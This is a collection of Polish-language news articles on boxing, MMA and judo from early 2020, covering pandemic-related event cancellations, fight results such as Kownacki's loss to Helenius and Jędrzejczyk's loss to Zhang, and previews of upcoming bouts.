21 marca w łódzkiej Atlas Arenie miała odbyć się gala KSW 53. – Pomimo usilnych starań, by doprowadzić do organizacji wydarzenia musieliśmy podjąć tę trudną zarówno dla nas, jak i dla Was decyzję. Ze względu na wprowadzone na terenie całego kraju obostrzenia, mającego na celu zminimalizowanie zasięgu epidemii koronawirusa (COVID-19), gala KSW 53 nie odbędzie się ani we wskazanej wcześniej lokalizacji, ani także w studio telewizyjnym – poinformowała w oświadczeniu organizacja.

Wiadomo również, że nie dojdzie do skutku gala MB Boxing Promotions, którą zaplanowano na 4 kwietnia. – O nowym terminie gali będziemy Państwa informować na bieżąco. Wszystko zależne jest od sytuacji panującej na świecie, i w kraju – podał Mateusz Borek z MB Promotions.

Wszystkie imprezy postanowił odwołać również Polski Związek Kickboxingu. – W związku z aktualną sytuacją epidemiologiczną, mając na uwadze zalecenia Ministerstwa Sportu oraz Głównego Inspektoratu Sanitarnego, Zarząd Polskiego Związku Kickboxingu podjął decyzję o odwołaniu wszystkich imprez sportowych z kalendarza PZKB do dnia 12 kwietnia br. Nowe terminy turniejów zostaną podaje w możliwe krótkim czasie zależnym od rozwoju sytuacji w kraju – czytamy w oświadczeniu.

Polski Związek Judo odwołał zawody do 30 kwietnia, zaś wyjazdy zagraniczne kadr narodowych do 29 kwietnia. Do 31 marca wszystkie zawody zawiesił Polski Związek Zapaśniczy.

28 marca planowana jest gala FEN 28. Organizatorzy wierzą, że uda się przeprowadzić wydarzenie. – Pracujemy żeby gal obyła się mimo pandemii . Dołożymy wszelkich starań, źeby zrobić to z zachowaniem wszelkich zasad bezpieczeństwa i ostrożności! – napisał w mediach społecznościowych Paweł Jóźwiak, prezes FEN.

Zagrożenie jest poważne, dlatego należy zachować wszelkie środki ostrożności. Pamiętajmy, aby myć dokładnie dłonie i ograniczać wyjścia z domu. Jeśli nie musimy, nie opuszczajmy miejsca zamieszkania. Unikajmy dużych zbiorowisk ludzkich. To kwestia odpowiedzialności – nie tylko za siebie, ale i pozostałych, z którymi mamy kontakt. Kierujmy się rozsądkiem i troską o siebie, ale także innych!

Fot. zdjęcie poglądowe

KM

Szeremeta: Chcę się sprawdzić na najwyższym poziomie

Od kilku miesięcy mówi się o walce Kamila Szeremety z Giennadijem Gołowkinem. Polski pięściarz z niecierpliwością czeka na pojedynek.

Jesienią pojawiła się informacja, że Szeremta będzie rywalem Gołowkina w walce o mistrzostwo świata IBF w wadze średniej. Pojedynek miał odbyć się w lutym w USA. Podano, że pięściarze zmierzą się 28 marca, ale na przeszkodzie stanęła kontuzja łydki Kazacha. Cierpliwość w wydaniu polskiego boksera jest wskazana. – Pierwsze przełożenie, czyli z lutego na marzec pomyślałem: ok., tak musi być. Później było znowu przełożenie na kwiecień-maj, teraz ponoć na czerwiec. Przyznam, że chociaż chciałbym wiedzieć, że do walki na pewno dojdzie. Nie chce żyć złudzeniami… Gdybym wiedział, że tak to się potoczy chciałabym stoczyć jakiś pojedynek, a nie czekać osiem miesięcy na walkę, której może nie być – przedstawia FighTime.pl Kamil Szeremeta.

Walka z Gołowkinem byłaby najważniejszą w karierze Polaka. Szeremeta stanąłby przed szansą na zdobycie pasa IBF wagi średniej. Gołowkin to prawdziwa gwiazda boksu. 37-letni Kazach wygrał 40 walk, w tym 35 przez nokaut. Swego czasu był posiadaczem pasów WBC i WBA, ale stracił je na rzecz Saula Alvareza. – Zgadzam się, że Golowkin to wielkie nazwisko i wspaniały mistrz. Dlatego tak bardzo chcę walki z mim. Chcę się sprawdzić na najwyższym poziomie, który bez wątpienia „GGG” reprezentuje. Ten zawodnik wyciśnie ze mnie wszystko, co mam. Sam chcę się dowiedzieć na co mnie tak naprawdę stać. Jeszcze ani razu w karierze nie pokazałem wszystkiego. Tutaj będę musiał, bo on mnie do tego zmusi – wyjaśnia bokser z Białegostoku.

Szeremecie pozostaje czekać na rozwój wypadków. 16 marca pięściarz uda się na obóz do Zakopanego. – Od listopada jestem non stop w gazie, bo walka jest przekładana. Trochę mnie to irytuje już, ale co ja mogę? Oni rozdają karty, więc czekamy na oficjalne potwierdzenie – tłumaczy Kamil Szeremeta.

Ostatnią walkę 30-latek stoczył 5 października w Nowym Jorku, gdzie pokonał w drugiej rundzie Oscara Cortesa.

Fot. Kamil Szeremeta Facebook

KM

Obaj chcą rewanżu

Zwycięstwo Artura Szpilki z Siergiejem Radczenko jest szeroko komentowane. Punktacja sędziowska budzi liczne kontrowersje. Obaj bokserzy chętnie stoczyliby pojedynek rewanżowy.

7 marca podczas gali Knockout Boxing Night 10 w Łomży do wagi junior ciężkiej wrócił Artur Szpilka. "Szpila" zmierzył się z Siergiejem Radczenko, który jeszcze nigdy w Polsce nie wygrał. W Łomży Ukrainiec zaprezentował się z dobrej strony, a były pretendent do pasa mistrzowskiego WBC w wadze ciężkiej przekonał się o potencjale rywala. W trzeciej i piątej rundzie Szpilka wylądował na deskach. Przez długie momenty Radczenko kontrolował walkę, a Polak przebudził się w końcówce. Sędziowie punktowali jednak 95:93, 95:92, 94:94 na korzyści "Szpili".

Wynik pojedynku wzbudził kontrowersje. Artur Szpilka nie jest zadowolony z przebiegu walki i jest gotów stanąć do rewanżu. Z kolei Radczenko czuje się skrzywdzony werdyktem. W rozmowie z „Super Expressem” ukraiński pięściarz zapowiada, że złoży protest. 32-letni Radczenko również jest gotowy na kolejne starcie ze Szpilką.

Przebieg pojedynku w Łomży, a punktacja to dwie różne sprawy. Wielu ekspertów podkreślało, że sędziowie oglądali chyba inny pojedynek, a ich oceny uznawano za skandaliczne. Wobec takiego obrotu spraw nie można przejść obojętnie. Radczenko ma prawo czuć się skrzywdzony. Szpilka również chce, aby wszystko odbyło się na sprawiedliwych zasadach. – Walki jeszcze nie widziałem …nie jestem zadowolony z przebiegu i uważam ze rewanż to priorytet – napisał 8 marca na Twitterze pięściarz. Do sprawy odniósł się również promotor Andrzej Wasilewski. – W sprawie walki Szpila – Radchenko trwa studiowanie reg. Ani KP (Knockout Promotions – red.) ani Artur nie chcemy zostawic tak sprawy, szukamy drogi aby uszanować ambicje sportowe Radchenki oraz głos ekspertów i kibiców.

Szpilka nie tak wyobrażał sobie powrót do wagi junior ciężkiej. Wiele się mówi o pojedynku, jednak nie w kontekście pochwał i zachwytów, lecz kontrowersji. Tego, co było już nic nie zmieni, ale rewanż wydaje się słusznym rozwiązaniem.

Fot. Artur Szpilka Facebook

KM

Ruiz nie dla Kownackiego

Jeszcze kilka dni temu mówiło się, że możliwe jest starcie Adama Kownackiego z Andy'm Ruizem Jr. Wobec porażki Polaka z Robertem Heleniusem ta perspektywa wydaje się nieaktualna. Chętny do rywalizacji z byłym mistrzem świata jest Dominic Breazeale.

Niespodzianka – to słowo najczęściej pojawia się w kontekście zwycięstwa Heleniusa z Kownackim. Zakładano, że „Babyface” wygra i otworzą się przed nim wielkie możliwości. Sam pięściarz marzył o rywalizacji o pasy mistrzowskie. Stało się jednak inaczej… Na sierpień planowany jest powrót na ring byłego czempiona WBO, IBF, WBA, IBO Andy'ego Ruiza Jr. Wśród potencjalnych rywali 30-latka wymieniany był Adam Kownacki. Wydaje się jednak, że teraz Polak stoczy pojedynek z rywalem z niższej półki. Prawdopodobnie Ruiz Jr. w sierpniu zmierzy się z doświadczonym Chrisem Arreolą. W ubiegłym roku Amerykanin przegrał z Kownackim. 

Gotowość do rywalizacji z Ruizem Jr. wyraża również Dominic Breazeale. Do niedawna Amerykanin atakował Adama Kownackiego i wyzywał Polaka do starcia. Ten jednak spotkał się z Heleniusem, a teraz 34-letni Breazeale zmienił obiekt zainteresowania. – Dalibyśmy z Andy'm Ruizem świetne widowisko na zachodnim wybrzeżu. Jako mojego przeciwnika wymienia się Luisa Ortiza. Obecnie chcę walczyć z najlepszymi zawodnikami i dać kibicom to, co chcą zobaczyć – powiedział BoxingScene Dominic Breazeale.

W ubiegłym roku 34-letni Amerykanin stoczył pojedynek z Deontayem Wilderem o pas mistrzowski WBC. Breazeale znalazł się na deskach w pierwszej rundzie. Ostatnią wygraną Amerykanin zanotował w grudniu 2018 roku, kiedy to wygrał przez nokaut z Carlosem Negronem. Wcześniej pokonał Erica Molinę i Izuagbe Ugonohosa. Breazeale rywalizował również o mistrzostwo IBF z Anthonym Joshuą, jednak przegrał pojedynek, który odbył się w czerwcu 2016 roku w O2 Arenie w Greenwich.

Zanim jednak kolejną walkę stoczy Andy Ruiz Jr., miłośnicy wagi ciężkiej zobaczą starcie Anthony'ego Joshuy z Kubratem Pulewem. Pojedynek odbędzie się 20 czerwca na Tottenham Hotspurs Stadium w Londynie. Stawką będą pasy mistrzowskie, w których posiadaniu znajduje się „AJ”.

Fot. Andy Ruiz Jr. Twitter

KM

Helenius znokautował Kownackiego

Pierwsza porażka Adama Kownackiego w zawodowej karierze. Polak przegrał przez techniczny nokaut w czwartej rundzie z Robertem Heleniusem.

30-letni pięściarz urodzony w Łomży stał w kolejce do walki o pasy mistrzowskie. Miał wykonać kolejny krok w kierunku spełnienia marzeń. W ubiegłym roku Kownacki pokonał Geralda Washingtona i Chrisa Arreolę. 2020 rok miał zacząć równie pozytywnie. Zdaniem bukmacherów „Babyface” był faworytem starcia z Robertem Helenisuem. Kownacki walczył w Barclays Center w Nowym Jorku, gdzie czuje się znakomicie, jednak tym razem scenariusz pojedynku wyglądał inaczej niż zazwyczaj.

Co prawda "Babyface" lepiej rozpoczął walkę i niepokoił Heleniusa. Fin miał problem z szybkością Kownackiego, który słał w stronę przeciwnika kolejne ciosy. 36-latek przeżywał trudne chwile, a pod koniec drugiej rundy wydawało się, że Polak jest na dobrej drodze do zwycięstwa. Kownacki zadał kilka ciosów, które zrobiły wrażenie na Heleniusie. Były mistrz Europy w końcu odpowiedział. W trzeciej rundzie po jednym z ciosów Kownacki przyklęknął, a chwilę później po lewym sierpowym znalazł się na deskach.  Szybko jednak wstał, ale widać był, że jest oszołomiony. Tym razem to Helenius pokazał, że jest mocny. Fin poczuł, że ma wszystkie karty w ręku, aby zmierzać w kierunku wygranej. W czwartej rundzie Helenius postawił na ofensywę i zasypywał Kownackiego kolejnymi ciosami. Ten był bezradny, co widział sędzia, który postanowił przerwać starcie.

Pierwsza porażka polskiego pięściarza w karierze stała się faktem. Kownacki nie ukrywał smutku, ale podziękował fanom za wsparcie. – Dziękuję wszystkim za wsparcie dziś wieczorem. Dziękuję za ciepłe wiadomości. Przepraszam, że was zawiodłem – napisał w mediach społecznościowych.

Starcie z Heleniusem miało dla Kownackiego szczególną wagę. Jego akcje w kategorii królewskiej stały wysoko i zwycięstwo przybliżało go do walki o pas. Porażka sprawia, że Kownacki spadnie w rankingach najważniejszych bokserskich federacji. Nie przekreśla jednak jego przyszłości. Polak nadal jest mocny, ale zanotował potknięcie. Takiego obrotu spraw niewielu się spodziewało.

Fot. Adam Kownacki Facebook

KM

Jędrzejczyk przegrała walkę o pas

Weili Zhang okazała się lepsza od Joanny Jędrzejczyk podczas gali UFC 248 w Las Vegas. Polka przegrała z zawodniczką z Chin niejednogłośną decyzją sędziów.

32-letnia Polka miała szansę wrócić na tron wagi słomkowej, w której panowała w latach 2015-2017. W tym czasie "JJ" pięciokrotnie skutecznie broniła pasa. Jędrzejczyk starała się odzyskać tytuł w kwietniu 2018 roku, ale podczas UFC 223 przegrała z Rose Namajunas. Po blisko dwóch latach Polaka otrzymała kolejną szansę. Dla Weili Zhang była to pierwsza obrona pasa, który wywalczyła w efektowny sposób podczas gal UFC on ESPN+ 15. W sierpniu ubiegłego roku Chinka w 42 sekundy znokautowała Jessicę Andrade. Przed walką z Jędrzejczyk, Weili mogła pochwalić się serią dwudziestu zwycięstw z rzędu.

Kobiety walczą na całego – tak można określić starcie, które miało miejsce w Las Vegas. Pierwsza runda mistrzowskiego pojedynku, choć na początku badawcza, mogła się podobać. Nie brakowało wymian, zawodniczki były aktywne. Mniej ciosów zadawała Jędrzejczyk, która musiała mieć się na baczności mając na uwadze siłę i możliwości rywalki. Gdy Chinka miała tylko okazję od razu słała w stronę Polki kombinacje. Kolejna odsłona to dobra praca Jędrzejczyk. "JJ" stosowała niskie kopnięcia i starała się trzymać dystans. Zhang chciała sprowadzić walkę do parteru, jednak była to nieudana próba. Przez długi czas pojedynek toczył się w klinczu. W trzeciej rundzie Jędrzejczyk zadawała sporo ciosów, a mistrzyni nieco osłabła. Po zawodniczkach widać było trudy starcia, choć przygotowanie kondycyjne Jędrzejczyk mogło imponować. Najpierw przy prawym oku Chinki pojawiła się opuchlizna, potem na czole Polki. Jednak żadna z zawodniczek nie zamierzała odpuszczać. W czwartej rundzie przebudziła się Zhang, która była coraz bardziej agresywna, a Polka przyjmowała kolejne ciosy. Pod koniec Jędrzejczyk przyparła rywalkę do siatki. Bohaterki starcia nie oszczędzały się, walczyły na całego. Scenariusz piątej rundy. Ciosy, wymiany, klincz. Sił coraz mniej, ale wola walki z obu stron nie ustępowała

Wiele ciosów z obu stron, ogromne zmęczenie i efekty pojedynku widoczne na twarzach zawodniczek. Mordercza walka na korzyść Zhang. Sędziowie nie byli jednogłośni – jeden wskazał na Jędrzejczyk 48:47, dwóch na Chinkę – 48:47, 48:47. Dla Polki była to czwarta porażka w karierze.

Po walce Jędrzejczyk trafiła do szpitala ze względu na krwiak na głowie. Warto wspomnieć, że UFC przyznała Polce i Chince bonus za walkę wieczoru.

Fot. Joanna Jędrzejczyk Facebook

KM

Pokonać Heleniusa

W Barclays Center w Nowym Jorku Adam Kownacki zmierzy się z Robertem Heleniusem. Wygrana może przybliżyć Polaka do hitowych pojedynków. Z kolei 7 marca w Łomży walkę w kategorii junior ciężkiej stoczy Artur Szpilka.

Barclays Center to miejsce, w którym 30-letni Kownacki czuje się znakomicie. Ostatni pojedynek w innym miejscu Polak stoczył w lipcu 2017 roku, kiedy to w Nassau Veterans Memorial Coliseum pokonał Artura Szpilkę. Od tamtego czasu Kownacki boksuje w Barclays Center. Akcje pięściarza pochodzącego z Łomży stoją wysoko. Kownacki pokonał kolejno: byłego mistrz IBF Charlesa Martina i pretendentów do pasów Geralda Washingtona oraz Chrisa Arreolę. 

30-latek znajduje się w życiowej formie i celuje w starcia o najwyższą stawkę. Kownacki chciałby walczyć o pasy mistrzowskie. Aby poważnie myśleć o starciach z Tysonem Furym bądź Anthony'm Joshuą, Polak musi pokonać Roberta Heleniusa. 36-letni Fin jest byłym mistrzem Europy i chyba najlepsze lata ma za sobą, ale nadal jest groźny w ringu. Helenius wygrał cztery z pięciu ostatnich walk. W ubiegłym roku przegrał z Geraldem Washingtonem.

Ogromnym wsparciem dla Kownackiego będzie syn Kazik, który urodził się w sierpniu 2019 roku. Polak może liczyć również na doping rodaków. Kownacki jest faworytem starcia z Heleniusem, ale swoją wyższość musi udowodnić w ringu.

Szpilka w junior ciężkiej

Ważnym wydarzeniem nadchodzącego weekendu będzie występ Arura Szpilki podczas gali Knockout Boxing Night 10 w Łomży. Popularny "Szpila" zmierzy się na dystansie dziesięciu rund z Sergiejem Radczenko.  Tym samym po dziesięciu latach Szpilka wraca do kategorii junior ciężkiej. Ostatnio 30-latek pokonał przed czasem Fabio Tuiacha, zaś w lipcu w Londynie przegrał z Dereckiem Chisorą.

Szpilka może pochwalić się bogatym doświadczeniem na zawodowych ringach. Cztery lata temu walczył o pas WBC w wadze ciężkiej. W pewnym momencie jego kariera znalazła się na zakręcie. Teraz Szpilka podejmuje kolejne wyzwanie, a w Łomży ma udanie zainaugurować zmagania w kategorii cruiser. Jego rywal, Sergiej Radczenko, ostatnio boksował w Rosji. 32-letni Ukrainiec przegrał dwa pojedynki. Radczenko zaprezentuje się w Polsce po raz czwarty, jeszcze nigdy nie wygrał. Przegrał z Krzysztofem Głowackim, Michałem Cieślakiem i Adamem Balskim.

Fot. Adam Kownacki Facebook

KM

Bedorf zmienia kategorię

Karol Bedorf podjął decyzję o zmianie kategorii wagowej – przechodzi z ciężkiej do półciężkiej. Nie wiadomo, kiedy zadebiutuje w nowym limicie. Bedorfa na pewno nie zobaczymy na marcowej gali KSW 53.

36-letni zawodnik urodzony w Szczecinie to najdłuższej panujący czempion w kategorii królewskiej organizacji Martina Lewandowskiego i Macieja Kawulskiego. Bedorf sięgnął po tytuł we wrześniu 2013 pokonując Pawła Nastulę. Trzykrotnie skutecznie bronił pasa, który stracił podczas KSW 37 (grudzień 2016) przegrywając z Fernando Rodriguesem Jr. Bedorf stanął przed szansą odzyskania tytułu na Wembley. 6 października 2018 roku przegrał jednak z Philem De Friesem. 

Zawodnik miał w ostatnim czasie problemy ze zdrowiem, czego konsekwencją jest jego decyzja. 36-latka nie zobaczymy już w wadze ciężkiej. – Od początku swojej kariery sportowej walczyłem w kategorii 95kg lub 105kg w zależności od turnieju w jakim brałem udział. Była to zawsze moja naturalna waga i środowisko pracy. Następnie przekraczając próg federacji KSW oraz stopniowo zdobywając osiągnięcia w kategorii ciężkiej (do120kg), siłą rzeczy przyzwyczajałem organizm do coraz to wyższej ilości kilogramów i robiłem wyniki pomimo iż moje warunki fizyczne są nastawione bardziej na kategorię półciężką niż ciężką. Jednak ciągnące się od dłuższego czasu urazy i kontuzje wymuszają na nas pewne zmiany, dlatego postanowiliśmy wspólnie z moim sztabem oraz federacją KSW że opuszczamy kategorię ciężką i kolejne walki toczyć będę najpierw w catchweight (poniżej 100kg) a następnie w półciężkiej(93kg) – napisał Karol Bedorf w oświadczeniu. – Wspólnie uważamy że taka decyzja otworzy ciekawy wachlarz ewentualnych zestawień oraz zniweluje urazy i kontuzje ciągnące się od dłuższego czasu – dodał.

Wiadomo, że były mistrz wagi ciężkiej nie wystąpi na marcowej gali KSW w Łodzi. Pozostaje czekać na datę jego debiutu w kategorii półciężkiej. Ostatnią walkę Bedorf stoczył 18 maja 2019 roku, kiedy to podczas KSW 49 przegrał przed czasem z Damianem Grabowskim. Na zwycięstwo populary „Coco” czeka od czerwca 2018 roku.

Fot. Karol Bedorf Facebook

KM

Ostatnia szansa

20 czerwca w Saskatoon kolejną walkę w UFC ma stoczyć Oskar Piechota. Rywalem polskiego zawodnika będzie Marc-Andre Barriault.

Wydawało się, że przyszłość Piechoty w amerykańskiej organizacji rysuje się w czarnych barwach. W grudniu popularny "Imadło" przegrał z Punahelem Soriano i była to jego trzecia porażka z rzędu. Zawodnik nie miał wątpliwości, że mógł to być jego ostatni występ w UFC. – Sam prawdopodobnie zakończyłem już przygodę z UFC choć nie dostałem jeszcze oficjalnego zwolnienia, może jakimś cudem dostanę jeszcze jedna szansę – pisał 15 grudnia 2019 roku w mediach społecznościowych Oskar Piechota.

Benjamin Franklin twierdził, że "na tym świeci pewne są tylko śmierć i podatki". Z pewnością Piechota po słabszym czasie w UFC mógł mieć wątpliwości, co do swojej przyszłości, ale los się do niego uśmiechnął. Jak podał The Star Phoenix, polski zawodnik zaprezentuje się 20 czerwca podczas gali w Saskatoon, a jego rywalem będzie Marc-Andre Barriault. Dla obu fighterów będzie to występ z kategorii tych "być albo nie być". Zapewne przegrany pożegna się z UFC.

Piechota zaliczył świetny początek w amerykańskiej organizacji, do której trafił jako mistrz Cage Warriors. W debiucie Polak pokonał Jonathana Wilsona, a później w niecałe dwie minuty rozbił Tima Williamsa. Mocne wejście, ale mający zdecydowanie większe doświadczenie od Piechoty Gerald Meerschaert zatrzymał marsz 30-latka. Potem Polak przegrał z Rodolfo Vieirą i wspomnianym Soriano. Wszystkie trzy walki rozstrzygnęły się przed czasem. 2019 rok nie był udany dla Marca-Andre Barriaulta. 30-letni Kanadyjczyk przegrał wszystkie trzy walki, a podczas UFC 240 lepszy od niego okazał się Krzysztof Jotko. Co warto nadmienić, Barriault nie wygrał jeszcze żadnego starcia w amerykańskiej organizacji! Ostatni triumf zanotował we wrześniu 2018 roku podczas gali TKO 44, kiedy to znokautował Adama Huntera.

Atutem Kanadyjczyka jest stójka, Polak najchętniej rywalizowałby w parterze. Decydujące może być przygotowanie kondycyjne i cierpliwość. Barriault wszystkie cztery porażki w karierze odniósł przez decyzję sędziów. Osiem z jedenastu zwycięstw odniósł przed czasem. Na tym polu Piechota jest lepszy – przez nokaut bądź poddanie wygrał aż dziesięć z jedenastu pojedynków.

Fot. Oskar Piechota Facebook 

KM

Plan na mistrzowskie starcie

Nie ma wątpliwości, że pojedynek Anthony'ego Joshuy i Tysona Fury'ego zelektryzowałby publiczność. Mistrzowie wagi ciężkiej mają plany na najbliższe miesiące, ale Eddie Hearn czyni zabiegi, żeby spotkali się jeszcze w tym roku!

Fury wygrywając przed czasem z Deontayem Wilderem ponownie ma cały bokserski świat u stóp. Mistrz świata WBC jeszcze nigdy nie przegrał, a do rywalizacji na najwyższym poziomie wrócił po trudnych doświadczeniach. Chyba mało kto spodziewał się, że w dwadzieścia miesięcy od powrotu na ringu (9 czerwca 2018 roku wygrana z Seferem Seferim – red.) Fury ponownie zamelduje się na tronie. 31-latek jest niepokorny, ale umiejętności nikt mu nie odmówi. Najwyższy poziom sportowy prezentuje również jego rodak – Anthony Joshua. W grudniu "AJ" w Arabii Saudyjskiej pokonał Andy'ego Ruiza Jr. i odzyskał pasy WBA, IBF, WBO i IBO, które utracił w czerwcu w Nowym Jorku. 

Spotkanie mistrzów byłoby niezwykłym wydarzeniem. Obaj jednak mają napięty grafik. Joshua musi skupić się na przygotowaniach do starcia z Kubratem Pulewem, które zaplanowano na 20 czerwca. Z kolei Fury'ego czeka trzecie starcie z Wilderem. Mówi się, że walka miałaby się odbyć 11 lub 18 lipca w Las Vegas. Szef Matchroom Boxing Eddie Hearn, który promuje Joshuę już myśli o zorganizowaniu starcia czempionów. – Wspaniale, że Fury boksuje w lipcu, a my w czerwcu. Naszym zamiarem, rozmowy są w toku, jest sfinalizowanie starcie Fury vs Joshua w grudniu tego roku – mówił Sky Sports News Hearn.

Podstawowym warunkiem organizacji tej walki jest zwycięstwo obu pięściarzy w najbliższych występach. Jeśli tak będzie, dojdzie do gorącej rywalizacji o panowanie w kategorii królewskiej. – Joshua i Fury będą boksować dwa razy albo stoczą trylogię. To część umowy, którą chcemy zawrzeć jak najszybciej. Walka pod koniec tego roku, a następnie latem 2021 roku – podkreśla Hearn. – Musimy spróbować zorganizować ten pojedynek w Wielkiej Brytanii. Na pewno będą oferty z całego świata. Naszym priorytetem jest Wielka Brytania – dodał promotor.

Fot. Anthony Joshua Facebook

KM

Polacy królowali w Warszawie

Znakomity występ polskich judoków w zawodach European Open w Warszawie. Biało-czerwoni wywalczyli dziewięć medali.

W Warszawie wystartowało ponad 400 judoczek i judoków. Polacy pozostawili konkurencję w tyle wygrywając w pięciu kategoriach wagowych. Po dwa złota zdobyli Francuzi, Holendrzy i Białorusini. W Warszawie znakomicie czuje się Karolina Pieńkowska (52kg), która ponownie wygrała zawody w stolicy. Wcześniej triumfowała w 2018 roku. Zawodniczka AZS Uniwersytet Warszawski niczym błyskawica przeszła przez turniej. Pieńkowska wygrała wszystkie cztery walki przed czasem, a w finale do pokonania Ksenii Danilovich potrzebowała 23 sekund! W imponującym stylu po złoto sięgnęła Angelika Szymańska (63kg). Polska judoczka stoczyła cztery walki i spędziła na tatami niecałe cztery minuty. Finał z Cariną Hildbrand trwał zaledwie dziewiętnaście sekund. Złoty medal na swoim koncie zapisała Urszula Hofman (70kg). 25-letnia zawodniczka wszystkie cztery walki rozstrzygnęła przed czasem.

Pierwszy medal w międzynarodowych zawodach wywalczył Damian Stępień (81kg). 25-letni polski judoka znakomicie sobie radził w stolicy. Wygrał przed czasem trzy pojedynki i w półfinale trafił na Kyrylo Weselowskiego. Pojedynek układał się po myśli Stępnia, który po ponad dwóch minutach cieszył się z awansu do finału. W starciu o złoto Polak pokonał Hiszpana Jose Marię Mendiolę Izquietę. W tym sezonie Kacper Szczurowski (100kg) był o krok od podium w zawodach Grand Prix w Tel Awiwie, gdzie był piąty. Judoka AZS Gliwice był bezkonkurencyjny w Warszawie. Trzy zwycięstwa przed czasem i wygrana w półfinale z reprezentantem Ukrainy Antonem Savytskim. O złoto Szczurowskiemu przyszło rywalizować z Oleksim Lysenko. Po upływie czterech minut z triumfu cieszył się ten pierwszy.

Na trzecim stopniu podium stanęli: Aleksandra Kaleta (52kg), Anna Dąbrowska (57kg) oraz wspomniany wcześniej Weselowski. Dla wspomnianych zawodników były to pierwsze krążki European Open w karierze. Dorobek polskiej reprezentacji mógł być większy, ale starcia o brązowe medale przegrali: Eliza Wróblewska (70kg), Anna Załęczna (+78kg), Ksawery Morka (73kg), Tomasz Szczepaniak (90kg) i Jakub Wójcik (100kg).

Fot. Karolina Pieńkowska Facebook

KM

Piąta wygrana i polowanie

Niezwykle cenne zwycięstwo Marcina Tybury. Podczas gali UFC on ESPN+27 (UFC Fight Night 169) w Norfolk Polak pokonał Sergeya Spivaka. 34-latek „poluje” już na kolejnego rywala.

Blisko 600 dni musiał czekać na wygraną 34-letni Marcin Tybura. Ostatnie dwa przegrane pojedynki sprawiły, że akcje Polaka w UFC drastycznie poleciały w dół. Porażka w Norfolk mogła mieć poważne konsekwencje. Jednak Tybura nie po raz pierwszy znalazł się w podobnej sytuacji. 22 lipca 2018 roku w Hamburgu przystępował do rywalizacji ze Stefanem Struvem po dwóch porażkach. Tybura wygrał decyzją sędziów, ale potem poległ przed czasem z Szamilem Abdurachimowem i Augusto Sakaiem.

W Norfolk 34-letni Polak spotkał się z Sergey'em Spivakiem. Dla 25-latka z Mołdawii był to trzeci występ w UFC. Nie można mu odmówić ambicji i woli walki. Pierwszy zaatakował Tybura, ale Spivak nie był dłużny. Kilka ciosów, wysokie kopnięcie Polaka, który po pewny czasie poszedł po obalenie. Na ziemi Tybura budował swoją przewagę. W drugiej rundzie Spivak wyprowadził kilka ciosów. Polak polował na obalenie i w końcu dopiął swego. Mołdawianin przyjmował kolejne ciosy, a Tybura podkreślał swoją przewagę. Widać było, że Spivak dobrze czuje się w stójce. Tybura miał tego świadomość i robił wszystko, aby zneutralizować atuty rywala.  W ostatecznym rozrachunku sędziowie punktowali 30:27, 30:27, 29:28 na korzyść Polaka. To piąty triumf Tybury w dziesiątym występie w UFC.

Nie da się ukryć, że 34-latkowi spadł spory „ciężar z serca”, ale nie ma się, co zatrzymywać. Tybura już szykuje się na kolejne wyzwania. Polak jest gotowy zaprezentować się w czerwcu w Australii, a podczas rozmowy po gali jako potencjalnego rywala wskazał Marcosa Rogerio de Limę. 34-letni Brazylijczyk, który podczas UFC Fight Night 168 wypunktował Bena Sosoli, szybko w mediach społecznościowych ustosunkował się do tej propozycji. – Jedźmy do Australii – napisał popularny "Pezao". Co na to Tybura? – Ja gotowy, Pezao gotowy. Hej, Mick Maynard wyślij nam kontakty, jeśli jesteś gotowy. Jazda! – napisał polski zawodnik. Z pewnością starcie z Brazylijczykiem byłoby wymagające dla Tybury. Marcos Rogerio de Lima rywalizuje w UFC od blisko sześciu lat, a na swoim koncie ma m.in. wygraną z Adamem Wieczorkiem. Łącznie w karierze wygrał 17 pojedynków, w tym 15 przed czasem!

Fot. Marcin Tybura Facebook

KM

Pożądana wygrana

29 lutego podczas gali UFC Fight Night 169 w Norfolk zaprezentuje się Marcin Tybura. Polak zmierzy się ze Sergey'em Spivakiem. 34-letni czeka na wygraną w amerykańskiej organizacji od blisko dwóch lat.

Po znakomitych występach polskiego fightera w UFC pozostało wspomnienie. W 2017 roku Marcin Tybura prezentował się znakomicie i plasował się w czołowej dziesiątce rankingu wagi ciężkiej. Polski zawodnik pokonał m.in. byłego mistrza UFC Andreja Arlovskiego oraz Luisa Henrique. Po serii trzech zwycięstw Tybura zmierzył się z Fabricio Werdumem. Nie dał rady legendarnemu Brazylijczykowi, a potem poległ w starciu z Derrickiem Lewisem i jego sytuacja uległa diametralnej zmianie. Tybura przełamał jednak złą passę i w lipcu 2018 roku w Hamburgu odprawił Stefana Struve'a. Była to ostatnia wiktoria 34-letniego zawodnika. Tybura czeka na kolejne zwycięstwo od 19 miesięcy! W 2019 roku polski zawodnik przegrał dwa pojedynki. Ostatni występ, w Vancouver, był niezwykle bolesny dla Tybury, który przegrał z Augusto Sakaiem po 59 sekundach! Potężny prawy sierp Brazylijczyka zamroczył Polaka, a kolejne ciosy rywala sprawiły, że były mistrz M-1 Global padł na deski.

Nie da się ukryć, że Tybura miał świetne chwile w UFC, ale tym razem znalazł się „pod ścianą”. 29 lutego były mistrz organizacji M-1 Global spotka się z Sergey'em Spivakiem. Mołdawianin ma zdecydowanie mniejsze doświadczenie niż Polak, ale jest niezwykle groźny. Wszystkie dziesięć zwycięstw odniósł przed czasem! 25-letni Spivak stoczył dotychczas dwie walki w UFC. W debiucie przegrał z Waltem Harrisem, a w kolejnym starciu odprawił Taia Tuivasa.

Dla Tybury występ w Norfolk będzie dziesiątym starciem w UFC. Dotychczas polski zawodnik odniósł cztery zwycięstwa. Podczas UFC Fight Night powalczy o piąte, które może mieć ogromną wartość. Nie da się ukryć, że będzie to walka „o życie”.

Głównym wydarzeniem wieczoru w Norfolk będzie starcie o wakujący tytuł mistrzowski w kategorii muszej. O pas powalczą Joseph Benavidez i Deiveson Figueiredo.

Fot. Marcin Tybura Facebook

KM

Druga walka ciężkich w Lublinie, Sianos rywalem Pałasza

Marcin Sianos (4-4, 4 KO) wystąpi 28 marca podczas gali FEN 28 w Lublinie. Rywalem zawodnika z Kołobrzegu będzie Adam Pałasz (4-0, 3 KO, 1 SUB).

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

